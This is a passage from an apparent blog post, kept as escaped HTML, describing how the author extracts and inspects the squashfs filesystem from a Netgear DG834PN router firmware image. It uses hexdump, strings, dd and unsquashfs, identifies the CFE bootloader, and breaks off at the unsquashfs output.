&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# hexdump -C DG834PN_V1.03.39.img &amp;gt; hex.out&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; root@system:~/DG834PN# strings DG834PN_V1.03.39.img &amp;gt; strings.out&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
From the hexdump we can see the loader that is used for the image, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# less hex.out &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 00000000  10 00 02 78 00 00 00 00  00 00 00 00 00 00 00 00  |...x............|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; *&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; 00000200  10 00 04 05 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; *&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 00000280  10 00 03 f0 24 1a 00 10  00 00 00 00 00 00 00 00  |....$...........|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 00000290  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; *&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 00000300  10 00 03 d2 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; 00000310  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; *&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; 00000380  10 00 03 b4 24 1a 00 20  00 00 00 00 00 00 00 00  |....$.. ........|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; 00000390  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; *&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; 00000400  10 00 03 96 24 1a 00 28  00 00 00 00 00 00 00 00  |....$..(........|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; 00000410  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt; *&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt; 00000480  10 00 03 78 24 1a 00 30  00 00 00 00 00 00 00 00  |...x$..0........|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt; 00000490  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt; *&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt; 000004e0  43 46 45 31 43 46 45 31  00 00 00 00 00 00 00 00  |CFE1CFE1........|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt; 000004f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum25&quot; style=&quot;color: #606060;&quot;&gt;  25:&lt;/span&gt; 00000500  10 00 03 5b 00 00 00 00  43 46 45 31 43 46 45 31  |...[....CFE1CFE1|&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum26&quot; style=&quot;color: #606060;&quot;&gt;  26:&lt;/span&gt; 00000510  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;/pre&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
string CFE1CFE1 is a clear mark of CFE loader ( &lt;a href=&quot;http://melbourne.wireless.org.au/files/wrt54/cfe.pdf%20&quot; title=&quot;http://melbourne.wireless.org.au/files/wrt54/cfe.pdf &quot;&gt;http://melbourne.wireless.org.au/files/wrt54/cfe.pdf &lt;/a&gt;) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going straight now for the filesystem I needed tools to work with squashfs, first choice was the firmware mod kit,&amp;nbsp; ( &lt;a href=&quot;http://www.bitsum.com/firmware_mod_kit.htm&quot;&gt;http://www.bitsum.com/firmware_mod_kit.htm&lt;/a&gt; ) that contains many different filesystem decoders like cramfs, various versions of squashfs and others. Later through the tests I found more useful the unsquashfs provided by the squashfs-tools on debian/ubuntu systems.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=DG834PN_V1.03.39.img bs=1 skip=65792 of=squash.fs              &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 3882752+0 records in&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 3882752+0 records out&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 3882752 bytes (3.9 MB) copied, 117.184 s, 33.1 kB/s&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Extracting the squashfs system and after identifying it properly with unsquashfs I was able to mount the extracted filesystem and browse the files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/DG834PN# unsquashfs -s squash.fs &lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; Reading a different endian SQUASHFS filesystem on squash.fs&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; Found a valid big endian SQUASHFS 2:0 superblock on squash.fs.&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; Creation or last append time Thu Aug 14 07:06:38 2008&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; Filesystem is not exportable via NFS&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; Inodes are uncompressed&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; Data is compressed&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; Check data is not present in the filesystem&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; Fragments are not present in the filesystem&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; Always_use_fragments option is not specified&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; Duplicates are removed&lt;/pre&gt;&lt;br /&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; Filesystem size 3151.35 Kbytes (3.08 Mbytes)&lt;/pre&gt;&lt;br /&gt;
